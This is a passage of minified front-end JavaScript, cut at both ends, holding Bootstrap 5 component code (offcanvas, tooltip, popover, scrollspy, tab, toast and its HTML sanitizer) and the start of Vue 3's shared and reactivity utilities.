Dn).hide(),this._element.setAttribute(\"aria-modal\",!0),this._element.setAttribute(\"role\",\"dialog\"),this._element.classList.add(Xn);this._queueCallback(()=>{this._config.scroll&&!this._config.backdrop||this._focustrap.activate(),this._element.classList.add(zn),this._element.classList.remove(Xn),Oe.trigger(this._element,ri,{relatedTarget:t})},this._element,!0)}hide(){if(!this._isShown)return;if(Oe.trigger(this._element,ni).defaultPrevented)return;this._focustrap.deactivate(),this._element.blur(),this._isShown=!1,this._element.classList.add($n),this._backdrop.hide();this._queueCallback(()=>{this._element.classList.remove(zn,$n),this._element.removeAttribute(\"aria-modal\"),this._element.removeAttribute(\"role\"),this._config.scroll||(new Dn).reset(),Oe.trigger(this._element,oi)},this._element,!0)}dispose(){this._backdrop.dispose(),this._focustrap.deactivate(),super.dispose()}_initializeBackDrop(){const t=Boolean(this._config.backdrop);return new bn({className:\"offcanvas-backdrop\",isVisible:t,isAnimated:!0,rootElement:this._element.parentNode,clickCallback:t?()=>{\"static\"!==this._config.backdrop?this.hide():Oe.trigger(this._element,ii)}:null})}_initializeFocusTrap(){return new In({trapElement:this._element})}_addEventListeners(){Oe.on(this._element,li,t=>{\"Escape\"===t.key&&(this._config.keyboard?this.hide():Oe.trigger(this._element,ii))})}static jQueryInterface(t){return this.each(function(){const e=pi.getOrCreateInstance(this,t);if(\"string\"==typeof t){if(void 0===e[t]||t.startsWith(\"_\")||\"constructor\"===t)throw new TypeError(`No method named \"${t}\"`);e[t](this)}})}}Oe.on(document,si,'[data-bs-toggle=\"offcanvas\"]',function(t){const e=Qe.getElementFromSelector(this);if([\"A\",\"AREA\"].includes(this.tagName)&&t.preventDefault(),oe(this))return;Oe.one(e,oi,()=>{ie(this)&&this.focus()});const r=Qe.findOne(ti);r&&r!==e&&pi.getInstance(r).hide();pi.getOrCreateInstance(e).toggle(this)}),Oe.on(window,Vn,()=>{for(const t of Qe.find(ti))pi.getOrCreateInstance(t).show()}),Oe.on(window,ai,()=>{for(const t of Qe.find(\"[aria-modal][class*=show][class*=offcanvas-]\"))\"fixed\"!==getComputedStyle(t).position&&pi.getOrCreateInstance(t).hide()}),Ge(pi),de(pi);const di={\"*\":[\"class\",\"dir\",\"id\",\"lang\",\"role\",/^aria-[\\w-]*$/i],a:[\"target\",\"href\",\"title\",\"rel\"],area:[],b:[],br:[],col:[],code:[],dd:[],div:[],dl:[],dt:[],em:[],hr:[],h1:[],h2:[],h3:[],h4:[],h5:[],h6:[],i:[],img:[\"src\",\"srcset\",\"alt\",\"title\",\"width\",\"height\"],li:[],ol:[],p:[],pre:[],s:[],small:[],span:[],sub:[],sup:[],strong:[],u:[],ul:[]},mi=new Set([\"background\",\"cite\",\"href\",\"itemtype\",\"longdesc\",\"poster\",\"src\",\"xlink:href\"]),fi=/^(?!javascript:)(?:[a-z0-9+.-]+:|[^&:/?#]*(?:[/?#]|$))/i,hi=(t,e)=>{const r=t.nodeName.toLowerCase();return e.includes(r)?!mi.has(r)||Boolean(fi.test(t.nodeValue)):e.filter(t=>t instanceof RegExp).some(t=>t.test(r))};const gi={allowList:di,content:{},extraClass:\"\",html:!1,sanitize:!0,sanitizeFn:null,template:\"<div></div>\"},Ai={allowList:\"object\",content:\"object\",extraClass:\"(string|function)\",html:\"boolean\",sanitize:\"boolean\",sanitizeFn:\"(null|function)\",template:\"string\"},bi={entry:\"(string|element|function|null)\",selector:\"(string|element)\"};class yi extends Me{constructor(t){super(),this._config=this._getConfig(t)}static get Default(){return gi}static get DefaultType(){return Ai}static get NAME(){return\"TemplateFactory\"}getContent(){return Object.values(this._config.content).map(t=>this._resolvePossibleFunction(t)).filter(Boolean)}hasContent(){return this.getContent().length>0}changeContent(t){return this._checkContent(t),this._config.content={...this._config.content,...t},this}toHtml(){const t=document.createElement(\"div\");t.innerHTML=this._maybeSanitize(this._config.template);for(const[e,r]of Object.entries(this._config.content))this._setContent(t,r,e);const e=t.children[0],r=this._resolvePossibleFunction(this._config.extraClass);return r&&e.classList.add(...r.split(\" \")),e}_typeCheckConfig(t){super._typeCheckConfig(t),this._checkContent(t.content)}_checkContent(t){for(const[e,r]of Object.entries(t))super._typeCheckConfig({selector:e,entry:r},bi)}_setContent(t,e,r){const n=Qe.findOne(r,t);n&&((e=this._resolvePossibleFunction(e))?re(e)?this._putElementInTemplate(ne(e),n):this._config.html?n.innerHTML=this._maybeSanitize(e):n.textContent=e:n.remove())}_maybeSanitize(t){return this._config.sanitize?function(t,e,r){if(!t.length)return t;if(r&&\"function\"==typeof r)return r(t);const n=(new window.DOMParser).parseFromString(t,\"text/html\"),i=[].concat(...n.body.querySelectorAll(\"*\"));for(const t of i){const r=t.nodeName.toLowerCase();if(!Object.keys(e).includes(r)){t.remove();continue}const n=[].concat(...t.attributes),i=[].concat(e[\"*\"]||[],e[r]||[]);for(const e of n)hi(e,i)||t.removeAttribute(e.nodeName)}return n.body.innerHTML}(t,this._config.allowList,this._config.sanitizeFn):t}_resolvePossibleFunction(t){return me(t,[void 0,this])}_putElementInTemplate(t,e){if(this._config.html)return e.innerHTML=\"\",void e.append(t);e.textContent=t.textContent}}const vi=new Set([\"sanitize\",\"allowList\",\"sanitizeFn\"]),xi=\"fade\",wi=\"show\",_i=\".tooltip-inner\",Ci=\".modal\",Ii=\"hide.bs.modal\",ki=\"hover\",Ei=\"focus\",Bi=\"click\",Si={AUTO:\"auto\",TOP:\"top\",RIGHT:pe()?\"left\":\"right\",BOTTOM:\"bottom\",LEFT:pe()?\"right\":\"left\"},Di={allowList:di,animation:!0,boundary:\"clippingParents\",container:!1,customClass:\"\",delay:0,fallbackPlacements:[\"top\",\"right\",\"bottom\",\"left\"],html:!1,offset:[0,6],placement:\"top\",popperConfig:null,sanitize:!0,sanitizeFn:null,selector:!1,template:'<div class=\"tooltip\" role=\"tooltip\"><div class=\"tooltip-arrow\"></div><div class=\"tooltip-inner\"></div></div>',title:\"\",trigger:\"hover focus\"},Oi={allowList:\"object\",animation:\"boolean\",boundary:\"(string|element)\",container:\"(string|element|boolean)\",customClass:\"(string|function)\",delay:\"(number|object)\",fallbackPlacements:\"array\",html:\"boolean\",offset:\"(array|string|function)\",placement:\"(string|function)\",popperConfig:\"(null|object|function)\",sanitize:\"boolean\",sanitizeFn:\"(null|function)\",selector:\"(string|boolean)\",template:\"string\",title:\"(string|element|function)\",trigger:\"string\"};class Ti extends Re{constructor(t,e){super(t,e),this._isEnabled=!0,this._timeout=0,this._isHovered=null,this._activeTrigger={},this._popper=null,this._templateFactory=null,this._newContent=null,this.tip=null,this._setListeners(),this._config.selector||this._fixTitle()}static get Default(){return Di}static get DefaultType(){return Oi}static get NAME(){return\"tooltip\"}enable(){this._isEnabled=!0}disable(){this._isEnabled=!1}toggleEnabled(){this._isEnabled=!this._isEnabled}toggle(){this._isEnabled&&(this._isShown()?this._leave():this._enter())}dispose(){clearTimeout(this._timeout),Oe.off(this._element.closest(Ci),Ii,this._hideModalHandler),this._element.getAttribute(\"data-bs-original-title\")&&this._element.setAttribute(\"title\",this._element.getAttribute(\"data-bs-original-title\")),this._disposePopper(),super.dispose()}show(){if(\"none\"===this._element.style.display)throw new Error(\"Please use show on visible elements\");if(!this._isWithContent()||!this._isEnabled)return;const t=Oe.trigger(this._element,this.constructor.eventName(\"show\")),e=(ae(this._element)||this._element.ownerDocument.documentElement).contains(this._element);if(t.defaultPrevented||!e)return;this._disposePopper();const r=this._getTipElement();this._element.setAttribute(\"aria-describedby\",r.getAttribute(\"id\"));const{container:n}=this._config;if(this._element.ownerDocument.documentElement.contains(this.tip)||(n.append(r),Oe.trigger(this._element,this.constructor.eventName(\"inserted\"))),this._popper=this._createPopper(r),r.classList.add(wi),\"ontouchstart\"in document.documentElement)for(const t of[].concat(...document.body.children))Oe.on(t,\"mouseover\",se);this._queueCallback(()=>{Oe.trigger(this._element,this.constructor.eventName(\"shown\")),!1===this._isHovered&&this._leave(),this._isHovered=!1},this.tip,this._isAnimated())}hide(){if(!this._isShown())return;if(Oe.trigger(this._element,this.constructor.eventName(\"hide\")).defaultPrevented)return;if(this._getTipElement().classList.remove(wi),\"ontouchstart\"in document.documentElement)for(const t of[].concat(...document.body.children))Oe.off(t,\"mouseover\",se);this._activeTrigger[Bi]=!1,this._activeTrigger[Ei]=!1,this._activeTrigger[ki]=!1,this._isHovered=null;this._queueCallback(()=>{this._isWithActiveTrigger()||(this._isHovered||this._disposePopper(),this._element.removeAttribute(\"aria-describedby\"),Oe.trigger(this._element,this.constructor.eventName(\"hidden\")))},this.tip,this._isAnimated())}update(){this._popper&&this._popper.update()}_isWithContent(){return Boolean(this._getTitle())}_getTipElement(){return this.tip||(this.tip=this._createTipElement(this._newContent||this._getContentForTemplate())),this.tip}_createTipElement(t){const e=this._getTemplateFactory(t).toHtml();if(!e)return null;e.classList.remove(xi,wi),e.classList.add(`bs-${this.constructor.NAME}-auto`);const r=(t=>{do{t+=Math.floor(1e6*Math.random())}while(document.getElementById(t));return t})(this.constructor.NAME).toString();return e.setAttribute(\"id\",r),this._isAnimated()&&e.classList.add(xi),e}setContent(t){this._newContent=t,this._isShown()&&(this._disposePopper(),this.show())}_getTemplateFactory(t){return this._templateFactory?this._templateFactory.changeContent(t):this._templateFactory=new yi({...this._config,content:t,extraClass:this._resolvePossibleFunction(this._config.customClass)}),this._templateFactory}_getContentForTemplate(){return{[_i]:this._getTitle()}}_getTitle(){return this._resolvePossibleFunction(this._config.title)||this._element.getAttribute(\"data-bs-original-title\")}_initializeOnDelegatedTarget(t){return this.constructor.getOrCreateInstance(t.delegateTarget,this._getDelegateConfig())}_isAnimated(){return this._config.animation||this.tip&&this.tip.classList.contains(xi)}_isShown(){return this.tip&&this.tip.classList.contains(wi)}_createPopper(t){const e=me(this._config.placement,[this,t,this._element]),r=Si[e.toUpperCase()];return Zt(this._element,t,this._getPopperConfig(r))}_getOffset(){const{offset:t}=this._config;return\"string\"==typeof t?t.split(\",\").map(t=>Number.parseInt(t,10)):\"function\"==typeof t?e=>t(e,this._element):t}_resolvePossibleFunction(t){return me(t,[this._element,this._element])}_getPopperConfig(t){const e={placement:t,modifiers:[{name:\"flip\",options:{fallbackPlacements:this._config.fallbackPlacements}},{name:\"offset\",options:{offset:this._getOffset()}},{name:\"preventOverflow\",options:{boundary:this._config.boundary}},{name:\"arrow\",options:{element:`.${this.constructor.NAME}-arrow`}},{name:\"preSetPlacement\",enabled:!0,phase:\"beforeMain\",fn:t=>{this._getTipElement().setAttribute(\"data-popper-placement\",t.state.placement)}}]};return{...e,...me(this._config.popperConfig,[void 0,e])}}_setListeners(){const t=this._config.trigger.split(\" \");for(const e of t)if(\"click\"===e)Oe.on(this._element,this.constructor.eventName(\"click\"),this._config.selector,t=>{const e=this._initializeOnDelegatedTarget(t);e._activeTrigger[Bi]=!(e._isShown()&&e._activeTrigger[Bi]),e.toggle()});else if(\"manual\"!==e){const t=e===ki?this.constructor.eventName(\"mouseenter\"):this.constructor.eventName(\"focusin\"),r=e===ki?this.constructor.eventName(\"mouseleave\"):this.constructor.eventName(\"focusout\");Oe.on(this._element,t,this._config.selector,t=>{const e=this._initializeOnDelegatedTarget(t);e._activeTrigger[\"focusin\"===t.type?Ei:ki]=!0,e._enter()}),Oe.on(this._element,r,this._config.selector,t=>{const e=this._initializeOnDelegatedTarget(t);e._activeTrigger[\"focusout\"===t.type?Ei:ki]=e._element.contains(t.relatedTarget),e._leave()})}this._hideModalHandler=()=>{this._element&&this.hide()},Oe.on(this._element.closest(Ci),Ii,this._hideModalHandler)}_fixTitle(){const t=this._element.getAttribute(\"title\");t&&(this._element.getAttribute(\"aria-label\")||this._element.textContent.trim()||this._element.setAttribute(\"aria-label\",t),this._element.setAttribute(\"data-bs-original-title\",t),this._element.removeAttribute(\"title\"))}_enter(){this._isShown()||this._isHovered?this._isHovered=!0:(this._isHovered=!0,this._setTimeout(()=>{this._isHovered&&this.show()},this._config.delay.show))}_leave(){this._isWithActiveTrigger()||(this._isHovered=!1,this._setTimeout(()=>{this._isHovered||this.hide()},this._config.delay.hide))}_setTimeout(t,e){clearTimeout(this._timeout),this._timeout=setTimeout(t,e)}_isWithActiveTrigger(){return Object.values(this._activeTrigger).includes(!0)}_getConfig(t){const e=je.getDataAttributes(this._element);for(const t of Object.keys(e))vi.has(t)&&delete e[t];return t={...e,...\"object\"==typeof t&&t?t:{}},t=this._mergeConfigObj(t),t=this._configAfterMerge(t),this._typeCheckConfig(t),t}_configAfterMerge(t){return t.container=!1===t.container?document.body:ne(t.container),\"number\"==typeof t.delay&&(t.delay={show:t.delay,hide:t.delay}),\"number\"==typeof t.title&&(t.title=t.title.toString()),\"number\"==typeof t.content&&(t.content=t.content.toString()),t}_getDelegateConfig(){const t={};for(const[e,r]of Object.entries(this._config))this.constructor.Default[e]!==r&&(t[e]=r);return t.selector=!1,t.trigger=\"manual\",t}_disposePopper(){this._popper&&(this._popper.destroy(),this._popper=null),this.tip&&(this.tip.remove(),this.tip=null)}static jQueryInterface(t){return this.each(function(){const e=Ti.getOrCreateInstance(this,t);if(\"string\"==typeof t){if(void 0===e[t])throw new TypeError(`No method named \"${t}\"`);e[t]()}})}}de(Ti);const Fi=\".popover-header\",Ni=\".popover-body\",ji={...Ti.Default,content:\"\",offset:[0,8],placement:\"right\",template:'<div class=\"popover\" role=\"tooltip\"><div class=\"popover-arrow\"></div><h3 class=\"popover-header\"></h3><div class=\"popover-body\"></div></div>',trigger:\"click\"},Mi={...Ti.DefaultType,content:\"(null|string|element|function)\"};class Ri extends Ti{static get Default(){return ji}static get DefaultType(){return Mi}static get NAME(){return\"popover\"}_isWithContent(){return this._getTitle()||this._getContent()}_getContentForTemplate(){return{[Fi]:this._getTitle(),[Ni]:this._getContent()}}_getContent(){return this._resolvePossibleFunction(this._config.content)}static jQueryInterface(t){return this.each(function(){const e=Ri.getOrCreateInstance(this,t);if(\"string\"==typeof t){if(void 0===e[t])throw new TypeError(`No method named \"${t}\"`);e[t]()}})}}de(Ri);const Li=\".bs.scrollspy\",Qi=`activate${Li}`,Gi=`click${Li}`,Pi=`load${Li}.data-api`,Wi=\"active\",Ki=\"[href]\",Hi=\".nav-link\",Ui=`${Hi}, .nav-item > ${Hi}, .list-group-item`,Yi={offset:null,rootMargin:\"0px 0px -25%\",smoothScroll:!1,target:null,threshold:[.1,.5,1]},Ji={offset:\"(number|null)\",rootMargin:\"string\",smoothScroll:\"boolean\",target:\"element\",threshold:\"array\"};class Zi extends Re{constructor(t,e){super(t,e),this._targetLinks=new Map,this._observableSections=new Map,this._rootElement=\"visible\"===getComputedStyle(this._element).overflowY?null:this._element,this._activeTarget=null,this._observer=null,this._previousScrollData={visibleEntryTop:0,parentScrollTop:0},this.refresh()}static get Default(){return Yi}static get DefaultType(){return Ji}static get NAME(){return\"scrollspy\"}refresh(){this._initializeTargetsAndObservables(),this._maybeEnableSmoothScroll(),this._observer?this._observer.disconnect():this._observer=this._getNewObserver();for(const t of this._observableSections.values())this._observer.observe(t)}dispose(){this._observer.disconnect(),super.dispose()}_configAfterMerge(t){return t.target=ne(t.target)||document.body,t.rootMargin=t.offset?`${t.offset}px 0px -30%`:t.rootMargin,\"string\"==typeof t.threshold&&(t.threshold=t.threshold.split(\",\").map(t=>Number.parseFloat(t))),t}_maybeEnableSmoothScroll(){this._config.smoothScroll&&(Oe.off(this._config.target,Gi),Oe.on(this._config.target,Gi,Ki,t=>{const e=this._observableSections.get(t.target.hash);if(e){t.preventDefault();const r=this._rootElement||window,n=e.offsetTop-this._element.offsetTop;if(r.scrollTo)return void r.scrollTo({top:n,behavior:\"smooth\"});r.scrollTop=n}}))}_getNewObserver(){const t={root:this._rootElement,threshold:this._config.threshold,rootMargin:this._config.rootMargin};return new IntersectionObserver(t=>this._observerCallback(t),t)}_observerCallback(t){const e=t=>this._targetLinks.get(`#${t.target.id}`),r=t=>{this._previousScrollData.visibleEntryTop=t.target.offsetTop,this._process(e(t))},n=(this._rootElement||document.documentElement).scrollTop,i=n>=this._previousScrollData.parentScrollTop;this._previousScrollData.parentScrollTop=n;for(const o of t){if(!o.isIntersecting){this._activeTarget=null,this._clearActiveClass(e(o));continue}const t=o.target.offsetTop>=this._previousScrollData.visibleEntryTop;if(i&&t){if(r(o),!n)return}else i||t||r(o)}}_initializeTargetsAndObservables(){this._targetLinks=new Map,this._observableSections=new Map;const t=Qe.find(Ki,this._config.target);for(const e of t){if(!e.hash||oe(e))continue;const t=Qe.findOne(decodeURI(e.hash),this._element);ie(t)&&(this._targetLinks.set(decodeURI(e.hash),e),this._observableSections.set(e.hash,t))}}_process(t){this._activeTarget!==t&&(this._clearActiveClass(this._config.target),this._activeTarget=t,t.classList.add(Wi),this._activateParents(t),Oe.trigger(this._element,Qi,{relatedTarget:t}))}_activateParents(t){if(t.classList.contains(\"dropdown-item\"))Qe.findOne(\".dropdown-toggle\",t.closest(\".dropdown\")).classList.add(Wi);else for(const e of Qe.parents(t,\".nav, .list-group\"))for(const t of Qe.prev(e,Ui))t.classList.add(Wi)}_clearActiveClass(t){t.classList.remove(Wi);const e=Qe.find(`${Ki}.${Wi}`,t);for(const t of e)t.classList.remove(Wi)}static jQueryInterface(t){return this.each(function(){const e=Zi.getOrCreateInstance(this,t);if(\"string\"==typeof t){if(void 0===e[t]||t.startsWith(\"_\")||\"constructor\"===t)throw new TypeError(`No method named \"${t}\"`);e[t]()}})}}Oe.on(window,Pi,()=>{for(const t of Qe.find('[data-bs-spy=\"scroll\"]'))Zi.getOrCreateInstance(t)}),de(Zi);const qi=\".bs.tab\",Vi=`hide${qi}`,zi=`hidden${qi}`,Xi=`show${qi}`,$i=`shown${qi}`,to=`click${qi}`,eo=`keydown${qi}`,ro=`load${qi}`,no=\"ArrowLeft\",io=\"ArrowRight\",oo=\"ArrowUp\",ao=\"ArrowDown\",so=\"Home\",lo=\"End\",co=\"active\",uo=\"fade\",po=\"show\",mo=\".dropdown-toggle\",fo=`:not(${mo})`,ho='[data-bs-toggle=\"tab\"], [data-bs-toggle=\"pill\"], [data-bs-toggle=\"list\"]',go=`${`.nav-link${fo}, .list-group-item${fo}, [role=\"tab\"]${fo}`}, ${ho}`,Ao=`.${co}[data-bs-toggle=\"tab\"], .${co}[data-bs-toggle=\"pill\"], .${co}[data-bs-toggle=\"list\"]`;class bo extends Re{constructor(t){super(t),this._parent=this._element.closest('.list-group, .nav, [role=\"tablist\"]'),this._parent&&(this._setInitialAttributes(this._parent,this._getChildren()),Oe.on(this._element,eo,t=>this._keydown(t)))}static get NAME(){return\"tab\"}show(){const t=this._element;if(this._elemIsActive(t))return;const e=this._getActiveElem(),r=e?Oe.trigger(e,Vi,{relatedTarget:t}):null;Oe.trigger(t,Xi,{relatedTarget:e}).defaultPrevented||r&&r.defaultPrevented||(this._deactivate(e,t),this._activate(t,e))}_activate(t,e){if(!t)return;t.classList.add(co),this._activate(Qe.getElementFromSelector(t));this._queueCallback(()=>{\"tab\"===t.getAttribute(\"role\")?(t.removeAttribute(\"tabindex\"),t.setAttribute(\"aria-selected\",!0),this._toggleDropDown(t,!0),Oe.trigger(t,$i,{relatedTarget:e})):t.classList.add(po)},t,t.classList.contains(uo))}_deactivate(t,e){if(!t)return;t.classList.remove(co),t.blur(),this._deactivate(Qe.getElementFromSelector(t));this._queueCallback(()=>{\"tab\"===t.getAttribute(\"role\")?(t.setAttribute(\"aria-selected\",!1),t.setAttribute(\"tabindex\",\"-1\"),this._toggleDropDown(t,!1),Oe.trigger(t,zi,{relatedTarget:e})):t.classList.remove(po)},t,t.classList.contains(uo))}_keydown(t){if(![no,io,oo,ao,so,lo].includes(t.key))return;t.stopPropagation(),t.preventDefault();const e=this._getChildren().filter(t=>!oe(t));let r;if([so,lo].includes(t.key))r=e[t.key===so?0:e.length-1];else{const n=[io,ao].includes(t.key);r=he(e,t.target,n,!0)}r&&(r.focus({preventScroll:!0}),bo.getOrCreateInstance(r).show())}_getChildren(){return Qe.find(go,this._parent)}_getActiveElem(){return this._getChildren().find(t=>this._elemIsActive(t))||null}_setInitialAttributes(t,e){this._setAttributeIfNotExists(t,\"role\",\"tablist\");for(const t of e)this._setInitialAttributesOnChild(t)}_setInitialAttributesOnChild(t){t=this._getInnerElement(t);const e=this._elemIsActive(t),r=this._getOuterElement(t);t.setAttribute(\"aria-selected\",e),r!==t&&this._setAttributeIfNotExists(r,\"role\",\"presentation\"),e||t.setAttribute(\"tabindex\",\"-1\"),this._setAttributeIfNotExists(t,\"role\",\"tab\"),this._setInitialAttributesOnTargetPanel(t)}_setInitialAttributesOnTargetPanel(t){const e=Qe.getElementFromSelector(t);e&&(this._setAttributeIfNotExists(e,\"role\",\"tabpanel\"),t.id&&this._setAttributeIfNotExists(e,\"aria-labelledby\",`${t.id}`))}_toggleDropDown(t,e){const r=this._getOuterElement(t);if(!r.classList.contains(\"dropdown\"))return;const n=(t,n)=>{const i=Qe.findOne(t,r);i&&i.classList.toggle(n,e)};n(mo,co),n(\".dropdown-menu\",po),r.setAttribute(\"aria-expanded\",e)}_setAttributeIfNotExists(t,e,r){t.hasAttribute(e)||t.setAttribute(e,r)}_elemIsActive(t){return t.classList.contains(co)}_getInnerElement(t){return t.matches(go)?t:Qe.findOne(go,t)}_getOuterElement(t){return t.closest(\".nav-item, .list-group-item\")||t}static jQueryInterface(t){return this.each(function(){const e=bo.getOrCreateInstance(this);if(\"string\"==typeof t){if(void 0===e[t]||t.startsWith(\"_\")||\"constructor\"===t)throw new TypeError(`No method named \"${t}\"`);e[t]()}})}}Oe.on(document,to,ho,function(t){[\"A\",\"AREA\"].includes(this.tagName)&&t.preventDefault(),oe(this)||bo.getOrCreateInstance(this).show()}),Oe.on(window,ro,()=>{for(const t of Qe.find(Ao))bo.getOrCreateInstance(t)}),de(bo);const yo=\".bs.toast\",vo=`mouseover${yo}`,xo=`mouseout${yo}`,wo=`focusin${yo}`,_o=`focusout${yo}`,Co=`hide${yo}`,Io=`hidden${yo}`,ko=`show${yo}`,Eo=`shown${yo}`,Bo=\"hide\",So=\"show\",Do=\"showing\",Oo={animation:\"boolean\",autohide:\"boolean\",delay:\"number\"},To={animation:!0,autohide:!0,delay:5e3};class Fo extends Re{constructor(t,e){super(t,e),this._timeout=null,this._hasMouseInteraction=!1,this._hasKeyboardInteraction=!1,this._setListeners()}static get Default(){return To}static get DefaultType(){return Oo}static get NAME(){return\"toast\"}show(){if(Oe.trigger(this._element,ko).defaultPrevented)return;this._clearTimeout(),this._config.animation&&this._element.classList.add(\"fade\");this._element.classList.remove(Bo),le(this._element),this._element.classList.add(So,Do),this._queueCallback(()=>{this._element.classList.remove(Do),Oe.trigger(this._element,Eo),this._maybeScheduleHide()},this._element,this._config.animation)}hide(){if(!this.isShown())return;if(Oe.trigger(this._element,Co).defaultPrevented)return;this._element.classList.add(Do),this._queueCallback(()=>{this._element.classList.add(Bo),this._element.classList.remove(Do,So),Oe.trigger(this._element,Io)},this._element,this._config.animation)}dispose(){this._clearTimeout(),this.isShown()&&this._element.classList.remove(So),super.dispose()}isShown(){return this._element.classList.contains(So)}_maybeScheduleHide(){this._config.autohide&&(this._hasMouseInteraction||this._hasKeyboardInteraction||(this._timeout=setTimeout(()=>{this.hide()},this._config.delay)))}_onInteraction(t,e){switch(t.type){case\"mouseover\":case\"mouseout\":this._hasMouseInteraction=e;break;case\"focusin\":case\"focusout\":this._hasKeyboardInteraction=e}if(e)return void this._clearTimeout();const r=t.relatedTarget;this._element===r||this._element.contains(r)||this._maybeScheduleHide()}_setListeners(){Oe.on(this._element,vo,t=>this._onInteraction(t,!0)),Oe.on(this._element,xo,t=>this._onInteraction(t,!1)),Oe.on(this._element,wo,t=>this._onInteraction(t,!0)),Oe.on(this._element,_o,t=>this._onInteraction(t,!1))}_clearTimeout(){clearTimeout(this._timeout),this._timeout=null}static jQueryInterface(t){return this.each(function(){const e=Fo.getOrCreateInstance(this,t);if(\"string\"==typeof t){if(void 0===e[t])throw new TypeError(`No method named \"${t}\"`);e[t](this)}})}}\n/**\n* @vue/shared v3.5.30\n* (c) 2018-present Yuxi (Evan) You and Vue contributors\n* @license MIT\n**/\nfunction No(t){const e=Object.create(null);for(const r of t.split(\",\"))e[r]=1;return t=>t in e}Ge(Fo),de(Fo);const jo={},Mo=[],Ro=()=>{},Lo=()=>!1,Qo=t=>111===t.charCodeAt(0)&&110===t.charCodeAt(1)&&(t.charCodeAt(2)>122||t.charCodeAt(2)<97),Go=t=>t.startsWith(\"onUpdate:\"),Po=Object.assign,Wo=(t,e)=>{const r=t.indexOf(e);r>-1&&t.splice(r,1)},Ko=Object.prototype.hasOwnProperty,Ho=(t,e)=>Ko.call(t,e),Uo=Array.isArray,Yo=t=>\"[object Map]\"===ea(t),Jo=t=>\"[object Set]\"===ea(t),Zo=t=>\"[object Date]\"===ea(t),qo=t=>\"function\"==typeof t,Vo=t=>\"string\"==typeof t,zo=t=>\"symbol\"==typeof t,Xo=t=>null!==t&&\"object\"==typeof t,$o=t=>(Xo(t)||qo(t))&&qo(t.then)&&qo(t.catch),ta=Object.prototype.toString,ea=t=>ta.call(t),ra=t=>\"[object Object]\"===ea(t),na=t=>Vo(t)&&\"NaN\"!==t&&\"-\"!==t[0]&&\"\"+parseInt(t,10)===t,ia=No(\",key,ref,ref_for,ref_key,onVnodeBeforeMount,onVnodeMounted,onVnodeBeforeUpdate,onVnodeUpdated,onVnodeBeforeUnmount,onVnodeUnmounted\"),oa=t=>{const e=Object.create(null);return r=>e[r]||(e[r]=t(r))},aa=/-\\w/g,sa=oa(t=>t.replace(aa,t=>t.slice(1).toUpperCase())),la=/\\B([A-Z])/g,ca=oa(t=>t.replace(la,\"-$1\").toLowerCase()),ua=oa(t=>t.charAt(0).toUpperCase()+t.slice(1)),pa=oa(t=>t?`on${ua(t)}`:\"\"),da=(t,e)=>!Object.is(t,e),ma=(t,...e)=>{for(let r=0;r<t.length;r++)t[r](...e)},fa=(t,e,r,n=!1)=>{Object.defineProperty(t,e,{configurable:!0,enumerable:!1,writable:n,value:r})},ha=t=>{const e=parseFloat(t);return isNaN(e)?t:e};let ga;const Aa=()=>ga||(ga=\"undefined\"!=typeof globalThis?globalThis:\"undefined\"!=typeof self?self:\"undefined\"!=typeof window?window:void 0!==r.g?r.g:{});function ba(t){if(Uo(t)){const e={};for(let r=0;r<t.length;r++){const n=t[r],i=Vo(n)?wa(n):ba(n);if(i)for(const t in i)e[t]=i[t]}return e}if(Vo(t)||Xo(t))return t}const ya=/;(?![^(]*\\))/g,va=/:([^]+)/,xa=/\\/\\*[^]*?\\*\\//g;function wa(t){const e={};return t.replace(xa,\"\").split(ya).forEach(t=>{if(t){const r=t.split(va);r.length>1&&(e[r[0].trim()]=r[1].trim())}}),e}function _a(t){let e=\"\";if(Vo(t))e=t;else if(Uo(t))for(let r=0;r<t.length;r++){const n=_a(t[r]);n&&(e+=n+\" \")}else if(Xo(t))for(const r in t)t[r]&&(e+=r+\" \");return e.trim()}const Ca=\"itemscope,allowfullscreen,formnovalidate,ismap,nomodule,novalidate,readonly\",Ia=No(Ca);function ka(t){return!!t||\"\"===t}function Ea(t,e){if(t===e)return!0;let r=Zo(t),n=Zo(e);if(r||n)return!(!r||!n)&&t.getTime()===e.getTime();if(r=zo(t),n=zo(e),r||n)return t===e;if(r=Uo(t),n=Uo(e),r||n)return!(!r||!n)&&function(t,e){if(t.length!==e.length)return!1;let r=!0;for(let n=0;r&&n<t.length;n++)r=Ea(t[n],e[n]);return r}(t,e);if(r=Xo(t),n=Xo(e),r||n){if(!r||!n)return!1;if(Object.keys(t).length!==Object.keys(e).length)return!1;for(const r in t){const n=t.hasOwnProperty(r),i=e.hasOwnProperty(r);if(n&&!i||!n&&i||!Ea(t[r],e[r]))return!1}}return String(t)===String(e)}const Ba=t=>!(!t||!0!==t.__v_isRef),Sa=t=>Vo(t)?t:null==t?\"\":Uo(t)||Xo(t)&&(t.toString===ta||!qo(t.toString))?Ba(t)?Sa(t.value):JSON.stringify(t,Da,2):String(t),Da=(t,e)=>Ba(e)?Da(t,e.value):Yo(e)?{[`Map(${e.size})`]:[...e.entries()].reduce((t,[e,r],n)=>(t[Oa(e,n)+\" =>\"]=r,t),{})}:Jo(e)?{[`Set(${e.size})`]:[...e.values()].map(t=>Oa(t))}:zo(e)?Oa(e):!Xo(e)||Uo(e)||ra(e)?e:String(e),Oa=(t,e=\"\")=>{var r;return zo(t)?`Symbol(${null!=(r=t.description)?r:e})`:t};let Ta,Fa;class Na{constructor(t=!1){this.detached=t,this._active=!0,this._on=0,this.effects=[],this.cleanups=[],this._isPaused=!1,this.__v_skip=!0,this.parent=Ta,!t&&Ta&&(this.index=(Ta.scopes||(Ta.scopes=[])).push(this)-1)}get active(){return this._active}pause(){if(this._active){let t,e;if(this._isPaused=!0,this.scopes)for(t=0,e=this.scopes.length;t<e;t++)this.scopes[t].pause();for(t=0,e=this.effects.length;t<e;t++)this.effects[t].pause()}}resume(){if(this._active&&this._isPaused){let t,e;if(this._isPaused=!1,this.scopes)for(t=0,e=this.scopes.length;t<e;t++)this.scopes[t].resume();for(t=0,e=this.effects.length;t<e;t++)this.effects[t].resume()}}run(t){if(this._active){const e=Ta;try{return Ta=this,t()}finally{Ta=e}}else 0}on(){1===++this._on&&(this.prevScope=Ta,Ta=this)}off(){this._on>0&&0===--this._on&&(Ta=this.prevScope,this.prevScope=void 0)}stop(t){if(this._active){let 